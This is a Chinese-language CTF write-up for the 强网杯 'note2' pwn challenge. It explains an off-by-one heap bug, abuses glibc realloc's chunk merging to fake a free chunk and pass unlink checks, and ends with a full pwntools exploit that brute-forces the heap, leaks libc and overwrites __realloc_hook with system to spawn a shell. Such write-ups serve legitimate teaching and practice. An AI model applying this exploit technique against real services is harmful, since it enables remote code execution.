强网杯pwn-note2利用分析

逆向分析

和上篇文章对note的分析差不多,漏洞点都是一样的,在对title进行修改的时候,导致off-by-one漏洞,只不过note2在对content进行修改的时候,对输入的size大小做了限制,只允许64-256字节的size。
这就导致了不能通过申请大的堆块来触发malloc_consolidate操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 change_content()
{
int v1; // [sp+Ch] [bp-4h]@3

if ( change_limit > 2 )
exit(0);
++change_limit;
printf("Enter the content size(64-256):");
v1 = read_int();
if ( v1 <= 63 || v1 > 256 )
exit(0); //这里添加了size限制
if ( v1 > default_content_size )
{
content = (char *)realloc(content, v1);
if ( !content )
exit(0);
default_content_size = v1;
}
printf("Enter the content:");
return read_input(content, v1, 10);
}

怎么绕过这里的限制,我考虑了很久,最主要的出发点还是通过单字节溢出,修改content chunk的size域。
如果可以将size域的值修改为大一点的值,使其落入small bin的范围,并设置prev_inuse位为0,就可以通过realloc大一点的chunk来引发free操作,进而触发title chunk的unlink操作,实现任意地址读写。
但是,off-by-one可以溢出的字节是程序限定的,并且它们的最大值为0x40,这就使得根本不可能实现我上面的想法。
最后请教了糖果师傅,原来自己对realloc的理解还不是很深入,需要再回看源码。

利用分析

在realloc中有一行代码被我忽略了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* Try to expand forward into next chunk;  split off remainder below */
else if (next != av->top && !inuse (next) && (unsigned long) (newsize = oldsize + nextsize) >= (unsigned long) (nb))
{
newp = oldp;
unlink (av, next, bck, fwd);
}

//这里是设置chunk的size字段的相关代码
//newsize是两个chunk的size之和,nb是申请的size
remainder_size = newsize - nb;
if (remainder_size < MINSIZE) /* not enough extra to split off */
{
set_head_size (newp, newsize | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_inuse_bit_at_offset (newp, newsize);
}
else /* split remainder */
{
remainder = chunk_at_offset (newp, nb);
set_head_size (newp, nb | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
/* Mark remainder as inuse so free() won't complain */
set_inuse_bit_at_offset (remainder, remainder_size);
_int_free (av, remainder, 1);
}

这里的意思是,如果下一个chunk为free状态的话,就将下一个chunk合并到当前chunk中,并在后面代码中将当前chunk的size域值设置为申请的size或者是两个chunk的size之和。
这样就可以使得content chunk的size落入small bin的范围中,就可以实现我上面的想法了。
所以需要在content中伪造一个free chunk,这很方便,因为对一个chunk是否为free进行检查,只需要判断下一个chunk的size域的最低位是否为0。
下面一步步记录下利用过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
这是最开始的title和content的chunk分布

title
0xc4c640: 0x0000000000000000 0x0000000000000031
0xc4c650: 0x00007f8a7f75ac18 0x00007f8a7f75ac18
0xc4c660: 0x0000000000000000 0x0000000000000000

content
0xc4c670: 0x0000000000000000 0x0000000000000081
0xc4c680: 0x00007f8a7f75abe8 0x00007f8a7f75abe8
0xc4c690: 0x0000000000000000 0x0000000000000000
0xc4c6a0: 0x0000000000000000 0x0000000000000000
0xc4c6b0: 0x0000000000000000 0x0000000000000000
0xc4c6c0: 0x0000000000000000 0x0000000000000000
0xc4c6d0: 0x0000000000000000 0x0000000000000000
0xc4c6e0: 0x0000000000000000 0x0000000000000000

0xc4c6f0: 0x0000000000000000 0x0000000000000021
0xc4c700: 0x00007f8a7f75ab68 0x00007f8a7f75ab68
0xc4c710: 0x0000000000000020 0x0000000000000020

现在需要在title的fd和bk填入需要利用的地址,这里就是指向title chunk的指针的地址。
通过单字节溢出,覆盖content的size域值为0x40,并在content中伪造一个free chunk。
这里需要注意的是fake chunk的size域值加上0x40必须大于等于后面要申请的content的size值,而且使得fake chunk的下一个chunk size域值是正常的chunk size值,并且其最低位为0,因为free操作会检查后一个chunk的size字段是否合理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
构造好的chunk
title
0xc4c640: 0x0000000000000000 0x0000000000000031
0xc4c650: 0x0000000000000000 0x0000000000000020
0xc4c660: 0x0000000000602058 0x0000000000602060

content
0xc4c670: 0x0000000000000020 0x0000000000000040
0xc4c680: 0x4141414141414141 0x4141414141414141
0xc4c690: 0x4141414141414141 0x4141414141414141
0xc4c6a0: 0x4141414141414141 0x4141414141414141

fake free chunk
0xc4c6b0: 0x0000000000000000 0x0000000000000091
//由于content的size上限为256,第一次申请要将content的size改为small bin范围的值,第二次申请就需要大于当前的size才能触发title的unlink。
//因此这里的size值不能随意设置,申请的值也需要配合着这里的值。
//若第一次申请的size为0x80,则chunk的size为0x90,那么fake的size必须大于等于0x50
//当第二次申请大块chunk时,将会触发合并后的content的free操作,free会对下一块的size进行检查。
//这里,下一块正好就是0xc4c700处的值,显然不是合理的size
//当合并后chunk的size减去申请的size大于32时,realloc会对多余的chunk进行free,所以这里fake的size设为0x91
//这样,会将0xc4c708处的值覆盖为0x41,并且,再往下检查也是合法的size
0xc4c6c0: 0x0000000000c4c6b0 0x0000000000c4c6b0
//这里的fd和bk需要爆破猜测。
0xc4c6d0: 0x0000000000000000 0x0000000000000000
0xc4c6e0: 0x0000000000000000 0x0000000000000000

0xc4c6f0: 0x0000000000000000 0x0000000000000021
0xc4c700: 0x00007f8a7f75ab68 0x00007f8a7f75ab68
0xc4c710: 0x0000000000000020 0x0000000000000020
0xc4c720: 0x0000000000c4c7c0 0x0000000000c4c740
0xc4c730: 0x0000647773736170 0x0000000000000041
0xc4c740: 0x0000000000c4c780 0x0000000000000000
0xc4c750: 0x0000000100000000 0x0000000000000001
0xc4c760: 0x0000000000c4b480 0x0000000000c4b440
0xc4c770: 0x00007461706d6f63 0x0000000000000041

由于unlink操作会进行一些检查:

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

所以这里fake free chunk的fd和bk值必须指向fake free chunk自身,这里就只能采取爆破的方法来获取地址。由于程序没有开启PIE,所幸爆破的次数不是很多。
接下来就很简单了,通过两次申请大一点的content,一次是为了使得content的size值落入small bin,一次是为了触发unlink。
实现任意写后,就可以覆盖__realloc_hook堆内存调试钩子了。

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *

def change_title(title):
p.sendline('1')
p.recvuntil('enter the title:')
p.send(title)
p.recvuntil('>>\n')

def change_content(content, size=None):
p.sendline('2')
p.recvuntil('(64-256):')
p.sendline('%d' % size)
p.recvuntil('Enter the content:')
content += '\n'
p.send(content)
p.recvuntil('>>\n')

def change_comment(comment):
p.sendline('3')
p.recvuntil('Enter the comment:')
comment += '\n'
p.send(comment)
p.recvuntil('>>\n')

def show_content():
p.sendline('4')
m = p.recvuntil('>>\n')
pos1 = m.find('The content is:') + len('The content is:')
pos2 = m.find('\n1.Change')
return m[pos1:pos2]

def exploit(host):
global p
port = 6666
title = 0x602070
change_count = 0x602050
#heap_base = 0x00603000
heap_base = 0x01000000

while True:
print 'Trying: %x' % heap_base
p = remote(host, port)
m = p.recvuntil('>>\n')
pos1 = m.find('welcome to the note ') + len('welcome to the note ')
pos2 = m.find('\n', pos1)
offset = int(m[pos1:pos2])

p1 = p64(0) + p64(0x20) + p64(title-0x18) + p64(title-0x10) + p64(0x20) + chr(0x40)
change_title(p1)

guess_chunk = heap_base+offset+0x30+0x40 #fake_chunk
p2 = 'A'*0x30 + p64(0) + p64(0x91) + p64(guess_chunk) + p64(guess_chunk)
change_content(p2, 0x78)
try:
change_content('first unlink fake_chunk', 0x80)
except EOFError:
p.close()
heap_base += 0x1000
continue
break

change_content('trigger unlink to arbitrary write', 0x90)

atoi_got = 0x601FD0
payload = p64(change_count) + p64(atoi_got)
change_title(payload+'\n')
leak_atoi = show_content()
libc_address = u64(leak_atoi.ljust(8,'\x00')) - 0x3321d
print('libc base address:'+hex(libc_address))
__realloc_hook = libc_address + 0x38cae8
system = libc_address + 0x3edf5
binsh_addr = libc_address + 0x158a1e
print('binsh address:'+hex(binsh_addr))

change_comment(p64(0))

change_title(p64(__realloc_hook) + p64(binsh_addr)+'\n')

change_comment(p64(system))

p.sendline('2')
p.recvuntil('Enter the content size(64-256):')
p.sendline('256')

if __name__ == '__main__':
host = '127.0.0.1'
exploit(host)
p.interactive()